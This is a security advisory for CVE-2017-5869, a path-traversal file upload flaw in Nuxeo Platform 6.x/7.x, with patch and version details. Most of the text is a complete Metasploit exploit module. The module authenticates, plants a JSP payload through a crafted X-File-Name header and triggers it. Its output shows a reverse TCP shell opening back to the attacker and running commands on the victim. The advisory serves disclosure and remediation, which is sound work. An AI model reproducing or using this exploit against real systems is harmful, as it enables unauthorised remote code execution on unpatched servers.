Nuxeo Platform 6.x / 7.x Shell Upload

Published
Credit
Risk
2017.03.24
SYSDREAM Labs
High
CWE
CVE
Local
Remote
CWE-434
CWE-264
CVE-2017-5869
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.5/10
6.4/10
8/10
Exploit range
Attack complexity
Authentication
Remote
Low
Single time
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

# Description

Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.

One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.

It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.

## Details

**CVE ID**: CVE-2017-5869

**Access Vector**: network

**Security Risk**: high

**Vulnerability**: CWE-434

**CVSS Base Score**: 8.8

**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

# Proof of Concept

Here is a metasploit module to exploit this vulnerability:

```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Nuxeo Platform File Upload RCE",
'Description' => %q{
The Nuxeo Platform tool is vulnerable to an
authenticated remote code execution,
thanks to an upload module.
},
'License' => MSF_LICENSE,
'Author' => ['Ronan Kervella
<r.kervella@sysdream.com>'],
'References' =>
[
['https://nuxeo.com/', '']
],
'Platform' => %w{linux},
'Targets' => [ ['Nuxeo Platform 6.0 to 7.3',
'Platform' => 'linux'] ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Payload' => {},
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the nuxeo
application', '/nuxeo']),
OptString.new('USERNAME', [true, 'A valid username', '']),
OptString.new('PASSWORD', [true, 'Password linked to the
username', ''])
], self.class)
end

def jsp_filename
@jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp'
end

def jsp_path
'nxserver/nuxeo.war/' + jsp_filename
end

def nuxeo_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.jsp')
)

fail_with(Failure::Unreachable, 'No response received from the
target.') unless res
session_cookie = res.get_cookies

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/nxstartup.faces'),
'cookie' => session_cookie,
'vars_post' => {
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD'],
'submit' => 'Connexion'
}
)
return session_cookie if res && res.code == 302 &&
res.redirection.to_s.include?('view_home.faces')
nil
end

def trigger_shell
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
fail_with(Failure::Unknown, 'Unable to get
#{full_uri}/#{jsp_filename}') unless res && res.code == 200
end

def exploit
print_status("Authenticating using
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
session_cookie = nuxeo_login
if session_cookie
payload_url = normalize_uri(target_uri.path, jsp_filename)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/site/automation/batch/upload'),
'cookie' => session_cookie,
'headers' => {
'X-File-Name' => '../../' + jsp_path,
'X-Batch-Id' => '00',
'X-File-Size' => '1024',
'X-File-Type' => '',
'X-File-Idx' => '0',
'X-Requested-With' => 'XMLHttpRequest'
},
'ctype' => '',
'data' => payload.encoded
)
fail_with(Failure::Unknown, 'Unable to upload the payload')
unless res && res.code == 200
print_status("Executing the payload at
#{normalize_uri(target_uri.path, payload_url)}.")
trigger_shell
else
fail_with(Failure::Unknown, 'Unable to login')
end
end

end
```

Module output:

```bash
msf> use exploit/multi/http/nuxeo
msf exploit(nuxeo) > set USERNAME user1
USERNAME => user1
msf exploit(nuxeo) > set PASSWORD password
PASSWORD => password
msf exploit(nuxeo) > set rhost 192.168.253.132
rhost => 192.168.253.132
msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(nuxeo) > set lhost 192.168.253.1
lhost => 192.168.253.1
msf exploit(nuxeo) > exploit

[-] Handler failed to bind to 192.168.253.1:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Authenticating using user1:password
[*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp.
[*] Command shell session 1 opened (172.17.0.2:4444 ->
192.168.253.132:43279) at 2017-01-13 14:47:25 +0000

id
uid=1000(nuxeo) gid=1000(nuxeo)
groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
pwd
/var/lib/nuxeo/server
```

# Vulnerable code

The vulnerable code is located in the
`org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github
link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)),
where the header ``X-File-Name`` is not checked.

# Fix

Nuxeo provided a
[patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892)
for this issue.
A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35).

Please note that vulnerability does not affect Nuxeo versions above 7.3.

# Affected versions

* Nuxeo 6.0 (LTS 2014), released 2014-11-06
* Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15
* Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24
* Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24

# Unaffected versions

* Nuxeo 6.0 HF35, released 2017-01-12
* Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02
* Nuxeo 7.10 (LTS 2015), released 2015-11-09
* Nuxeo 8.10 (LTS 2016), released 2016-12-06

# Credits

Ronan Kervella <r.kervella@sysdream.com>

--
SYSDREAM Labs <labs@sysdream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream


See this note in RAW Version

 
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